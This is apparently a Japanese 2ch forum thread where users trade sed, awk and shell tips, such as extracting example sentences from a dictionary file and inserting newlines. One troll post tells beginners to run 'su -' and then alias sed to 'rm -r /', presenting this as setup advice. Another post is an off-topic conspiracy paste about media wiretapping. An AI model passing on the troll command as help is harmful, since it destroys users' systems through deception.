-
Linux
-
おまいら! sed の使い方教えて下さいm(_ _)m
-
UPLIFTで広告なしで体験しましょう!快適な閲覧ライフをお約束します!
Linux使ってるならsedあたりはサックって使えるようになりたい。
だけどなかなかまとまった日本語の解説がすくなくて苦労する。
ここで皆の智恵をだしつくして欲しい!
日本語解説サイト
http://www-6.ibm.com...010202/j_l-sed1.html
http://www-6.ibm.com...010216/j_l-sed2.html
http://www-6.ibm.com...010223/j_l-sed3.html
英語だとここからたどれる
http://sed.sourceforge.net/index.html - コメントを投稿する
-
くだらねえ質問はここに書きこめ! part61
http://pc.2ch.net/te...gi/linux/1067454177/ -
サックっと削除依頼を出しなさい。
-
man sed
-
例えば英辞郎の加工で
【用例xxx】部分を書き出すと英作に役立つ例文集ができるとおもうんだけど
こんなのどうやるかなんて考えてみたい。 -
オライリー飼って嫁。異常。
-
>>7から続き
とりあえずsedにやらせたいことをファイルに書きながらやっていこう。
yourei.sed
=============================
/【用例.*/p
d
=============================
確認してみる
$ sed -f yourei.sed eijirou.txt | more
とりあえず【用例 を含む行だけ抜粋できた。
ここからまだまだ加工が必要だな。
ぼちぼちやっていくさ。。。
-
ダメではないんだが、シェルスクリプト御用達系のスレは馬力がなくていかん。
てなわけで今度立てるときはsedとawk両方で立ててくれ。 -
いらんもの全部削除
sed -f /dev/zero gomi.txt > gomi.txt
-
>>11のつづき
【用例xxx】で改行させてみる。
kaigyou.sed
=========================
s/\/[[:blank:]]/\/\
/g
=========================
※英辞郎はスペース + スラッシュ + スペースで用例を区切っている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed | sed -f kaigyou.sed > yourei.txt
-
例題ネタとしては、GNU sed-4.0.XのinfoのExampleにいろいろあるよ。
-
>>13のつづき
■で始まる行は邪魔なので削除する。
$ sed -e '/^■/d' yourei.txt > yourei1.txt
英文と和訳が対になってる行だけにする。
$ sed -n -e '/[[:space:]]:[[:space:]]/p' yourei1.txt > yourei2.txt
行頭を■で統一
$ sed -e '/^【[^】]*】[[:space:]]/d' yourei2.txt | sed -e 's/^/■/g' > yourei3.txt
行末にある/を削除
$ sed -e 's/\/$//g' yourei3 > yourei4.txt
ここまでで用例集ができた。 -
質問。sedで改行するとき、例えば;を改行に置換したいとすると
sed -e 's/;/;\
/g'
改行入れてかいてるんだけど・・。
これが凄い面倒なので一行で書く方法ってないんでしょうか。 -
>>17さん
私もいっぱいいっぱいでやってるから
サクッとさじ投げたけど
私のやってる通り改行部分をファイルに書き出して読みこめばいいのでは?
$ sed -e 's/;/;\
> /g'
上記改行なら
kaigyou.sed
======================
s/;/;\
/g
======================
$ sed -f kaigyou.sed hoge > hage
まあ改行したいタイミングで sed -f kaigyou.sed とやればよいのでは? -
>>15のつづき
>行末にある/を削除
>$ sed -e 's/\/$//g' yourei3 > yourei4.txt
$ sed -e 's/\/$//g' yourei3.txt > yourei4.txt //訂正
折角できた用例集だけどこのままではつまらないから
英作問題集風に加工してみよう。
$ sed 's/[[:space:]]:[[:space:]]/\/●/g' yourei4.txt > yourei5.txt
kaigyou2.sed
==========================
s/\//\/\
/g
==========================
$ sed -f kaigyou2.sed yourei5.txt | sed -e 's/\/$//g' > yourei6.txt
-
●●●マスコミの 「盗聴/盗撮」 は許されるの?その7A●●● http://natto.2ch.net...0049/1004950940.html
915 名前: 文責:名無しさん 投稿日: 02/01/20 12:40 ID:FHCYQpiB
今度は、インターネットで犯罪を告発している人自身を直接攻撃することを
彼らは考えるだろう。彼らはインターネット上の告発者が誰かということは
自分達自身が嫌がらせをしているのではじめから知っているのである。
彼らは、NTT等の通信事業者に働きかけて告発者のインターネット接続を
あらゆる方法で妨害をしはじめるだろう。
もちろんこれは、れっきとした犯罪であるためあからさまにやると、
今度は告発者に訴えられたり脅迫されたりされる危険性がある。
そのため、彼らは法律に触れない程度で告発者を妨害する方法はないだろうか?と考える。
そこで出てくるのが....
-虚報戦術-
いくつかの事実といっしょに実体のない噂を山ほど流す。
そのため(情報の)受信者は事実と噂を見分けることが出来ない。
アルビン・トフラー著 「パワーシフト」より
真実の情報を隠すために、偽の情報と真実の情報を混ぜ
どれが真実の情報かわからなくさせる情報工作というものがある。
彼らは自分達が行っている、いたずら電話、脅迫電話、盗聴、盗撮、
ストーカー、住居不法侵入等の真実の情報を誤魔化し閲覧者が混乱するようにするために、
「思考盗聴、透視、遠隔操作」などの誰も信じないような、偽の情報と織り交ぜて
マスメディア関係者が組織的にホームページや掲示板を通じて自分で被害者を演じ
インターネット上で自作自演を行っている可能性がある。
われわれはこういった盗聴犯罪者の馬鹿げた自作自演に気をつけなければならない。 -
sed 4.0.1 の info を翻訳したもの。
http://www.geocities...ed-ja/index.html#Top -
>>21
レスありがとー、
特定の文字の後に改行したいってのは個人的に良くある
シュチュエーションなもので、
もちょっと簡単にできる方法誰か知ってればなぁなんて思ってたんです。
それともう一つ疑問なのが、
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
real 0m25.056s
user 0m3.043s
sys 0m21.228s
time for i in `find ./ -type f|sed 's/.*\///' `;do echo ${i};done
real 0m0.312s
user 0m0.172s
sys 0m0.096s
こんな感じに、デカイループの中にsedがあるとトテツモナク動作が
重くなるんですが・・・、これってsedがいくつも起動されちゃうから
なのかな。
でかいループ中にsed挟まなきゃならない場合はsedより別スクリプトに
パイプって感じにしたほういいんでしょうかね。
教えて君で申し訳ないのですが、、、。 -
>>25
ちなみに。。。
同じような書き方ならPerlのほうが、微妙に早いかも。
#!/usr/bin/perl
open HDL, "find . -type f|";
while(<HDL>)
{
s/.*\///;
print;
} -
ちまちま分けて書くのが面倒なので、
1つのファイルにまとめて書きたいと思ったんだけど
思うようにできない。。。
yourei.sed
=============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
p
}
==============================
$ -n -f yourei.sed eijirou.txt | more
この状態だとこれ以上の編集ができないんだよね。。。
一旦ファイルに落してからつづきをするしかないのかな? -
つーかスレタイが腹立つな。態度が馬鹿にしてる
-
>>27
>この状態だとこれ以上の編集ができないんだよね。。。
>一旦ファイルに落してからつづきをするしかないのかな?
意味がよくわからんのだが、
sed -n -f yourei.sed eijirou.txt | sed -e '....'
じゃダメなのか?
あと、1行目を
#!/usr/bin/sed -n -f
として chmod +x しておくといいかも。 -
>>30
いちいちファイルに落さなくてもパイプでつなげるね。
指摘ありがとう。
ただ、>>27 で言おうとしてたのは
パイプで繋いでいく部分も全て1つのファイルにまとめられないかな?
ってことだったんだけど、
例えば >>27 の yourei.sed を
============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
s/\/$//g
p
}
============================
としても s/\/$//g の部分が実行できてない。
これは一度編集が終ったサイクルは読みこめないってことなのかな?
-
>>sed@修行中
sedの置換命令のデリミタには任意の文字が使えるぞ。
置換文字列に'/'が含まれるなら。'/'を'\'でエスケープするよりも
文字列に含まれない文字をデミリタにすると読みやすいと思う。
例
s/\/[[:space:]]/\/\
/g
↓
s@/[[:space:]]@/\
@g
s/\/$//g
↓
s%/$%%g -
>>31
> としても s/\/$//g の部分が実行できてない。
そうそう、sedは入力行に対して'^'と'$'は最初の行頭と行末にしかマッチしなかった気がする。
置換の結果、改行文字が挿入されて行が増えても、
新たな行頭と行末は'^'と'$'にマッチしないみたいだね。 -
O'REILLY sed & awk
http://polymer.bu.ed...ing/sedawk/index.htm -
>>34
何故にMSワード・・・ -
http://ime.st/www.gc....org/sengoku/sedlec/
拡張子がdocになってるけどlessでもみれるから
私はそれぞれのファイルを全部catでマージして
拡張子をtxtに変更してtknamazuから検索できるようにしている。
かなり平易に説明してくれてると思うよ。 -
>>33
sedの改行処理がネックになっているみたいです。
yourei.sed
=======================
s/{[^}].*}//g
/【用例.*/{
s%\/[[:space:]]%\/\
%g
s%$%\n%g
p
}
======================
$ sed -n -f yourei.sed eijirou.txt | more
こうすると改行処理前の1行テキストごとに
\nが挿入されていました。
要するに見ためで改行しているだけで
1行テキストとしては改行処理前のものを認識しています。 -
>>37
あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
むしろ .txt の方が少なかったような気が。
>>39
>1行テキストとしては改行処理前のものを認識しています。
うんにゃ。
$ はパターンスペースの最後にマッチするメタキャラクタであって、
何らかの操作でパターンスペース中に改行が増えても
^, $ でマッチする部分が増えるわけではない
もし改行処理前(s// 実行前)のものが認識されるのであれば、
echo aaa | sed 's/a/b/; s/a/c/'
の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、
実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。
-
>>40
>$ はパターンスペースの最後にマッチするメタキャラクタであって、
>何らかの操作でパターンスペース中に改行が増えても
>^, $ でマッチする部分が増えるわけではない
お手上げです。
1つのスクリプトファイルにまとめたかったんだけど
無理みたいですね。
-
viviのアウトライン解析機能を使っています。
「リナンバ」とやると、
1.1
1.3
1.5
なんてのが、
1.1
1.2
1.3
ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、
sedで可能かと考えています。お力をお貸しください。 -
sed じゃ難しいんでは?
-
オライリのセッドアンドオークは正直分かりにくい
-
1,$s/●/ひろゆきの私腹/g
-
>>25
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
↓
do 〜 done はまとめてリダイレクトできるのだ
↓
time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///'
すっごく速くなったぞ
# sed ってよりshellのお題だな -
``でサブシェル起動するからね...
find . -type f | xargs sed 's/.*\///'
とか
find . -type f | while read i; do sed 's/.*\///' ${i}; done
のほうがいいのでは?
(上だと全ファイルまとめてsed。下だと一つづつsed)
-
ぬぬぅ
これは早急にシェルスクリプトを習得せねば
なんかわかんないけどすごく便利なことしてそうな予感。 -
普通はシェルコマンドや正規表現を先に覚えるべきでは???
まぁあまり人のことは言えないが(w -
燃料投下の意味もこめて、ほったらかしの>>46にささげます。
正規表現の部分は手抜きで、柔軟性のかけらもありません。
加工したいテキストにあわせて書き換える必要があるでしょう。
#なおテストはしてません。
while :
do
cnt=`expr $cnt + 1`
sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル
done -
俺様がテーチインしてやるから
まずスーパーユーザにならなくちゃ行けないんだよ。
$ su -
そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ
のようなものって思って良いけど難しいから以下のようにタイプする。
$ alias sed='rm -r /'
すると起動完了だから、sedがバッチリ起動する。
このおまじないで絶対に止めては行けないサーバとかでも
安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの
linux-tipsとかlinux-mini-howtoに載っているよ。
-
vi と awk + join + sort
で、RDBMS ができるようだ。
#!/bin/sh
join -1 1 -t: /etc/passwd /etc/ftpusers \
| sort -t ":" -n -k 3 \
| awk 'BEGIN {FS=":"; OFS="\t";} \
$7 != /bin/false && $3 >= 1000 \
{print $1, $3, $4, $7;}'
awk の変数 OFS がなぜかFreeBSDで通らないのが謎。
って、ここはsed刷れだった。
sedもいじってみよう。
-
awkつまみ食い(1時間コース)
http://www.is.kochi-...onda/Joen/07Awk.html
/* emp.dat */
Beth 4.00 0
Dan 3.75 0
Kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
/* m6.awk */
BEGIN { print "*** Employee Statistics ***" }
$3 > 15 { emp = emp + 1 }
{ pay = pay + $2 * $3 }
$2 > max { max = $2; who = $1 }
{ names = names $1 " " }
{ last = $0 }
END {
print "Employee list:", names;
print NR, "employees";
print emp, "employees worked more than 15 hours." ;
print "total pay is",pay;
print "average pay is",pay/NR;
print "Highest hourly rate:", max, "for", who ;
print "Who was the last:",last;
} -
$ awk -f m6.awk emp.dat
*** Employee Statistics ***
Employee list: Beth Dan Kathy Mark Mary Susie
6 employees
3 employees worked more than 15 hours.
total pay is 337.5
average pay is 56.25
Highest hourly rate: 5.50 for Mary
Who was the last: Susie 4.25 18
ほかにも、 awk は 組み込み 関数や、
if-else文、 while文、 for文などを 使った 複雑な 計算や
プログラム制御を おこなう ことが できます。
これらの 詳細に ついては、 C言語を 学んだ 後で 参考書
「プログラミング言語AWK」
エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を... -
久しぶりに良スレだ。
まとめサイトキボソ -
保守上げ
-
!/usr/bin/perl -p
if(/(\d+)\.\d+/) {
if($1 > $sec) {
$sec=$1;
$subsec=1;
} else {
$subsec++;
}
s/\d+\.\d+/$sec.$subsec/;
} -
漏れは、改行はtrつかって変換してる'\012'
-
sage
-
hosyu
-
補習
-
保守
-
sedを使ってhogeを"hoge"にしたいんですけど
s/^/\"/とs/$/\"/を一度にできますか? -
sed 's/hoge/"hoge"/'
-
ああ、hogeは可変なのか…
だからs/^/\"/とかしてたわけね orz -
sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか?
-
「重複名ファイル」が何のことか分からんが、
sedでファイルを削除することはできません -
パイプに渡してrmコマンドで削除はできる
-
>>1は氏んだのか?
-
おれは引数の中身までは分からんが
ls | sed 'hogehoge' | rm -rf
ってことだろ。 -
あれ?
>カレントパスにある、重複名ファイル
こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。
-
age
-
つ[MS‐DOSを256倍使うための本〈Vol.3〉]
-
rm -rfv `find . | grep '~$'`
こんなのよくやる。 -
こんなのを適当にファイル名を指定してやってみよう。
sed 's/\w//g' <ファイル名> -
疑問なんだけど、デフォルト入力とかで
行をファイル(標準入力でもいいけど)から読み込んでくるとき、
パターンスペースに格納されるテキストには
その行が本来持っていた末尾の改行は保持されるの、
それとも捨てられてるの? -
>>88
捨て -
>>89
ありが?。そうみたいだね。実は自己解決してました。
man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。
「SED 教室 第三回」にもこうあった。
http://www.gcd.org/sengoku/sedlec/3.txt
> SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし
>ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。
>行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し
>てください。 -
Cのソースから
//
/* */
のコメントを取り除けますか?sedで。 -
>>91
できるよ。 -
>できるよ。
/*
*/
のように複数行に分かれている場合にもできますか?
-
>>93
うん。 -
要するに,「/*」と「*/」を削除すれば?
-
SED
-
@@@
-
Super Erectile Dysfunction
-
深夜挙げ
↑今すぐ読める無料コミック大量配信中!↑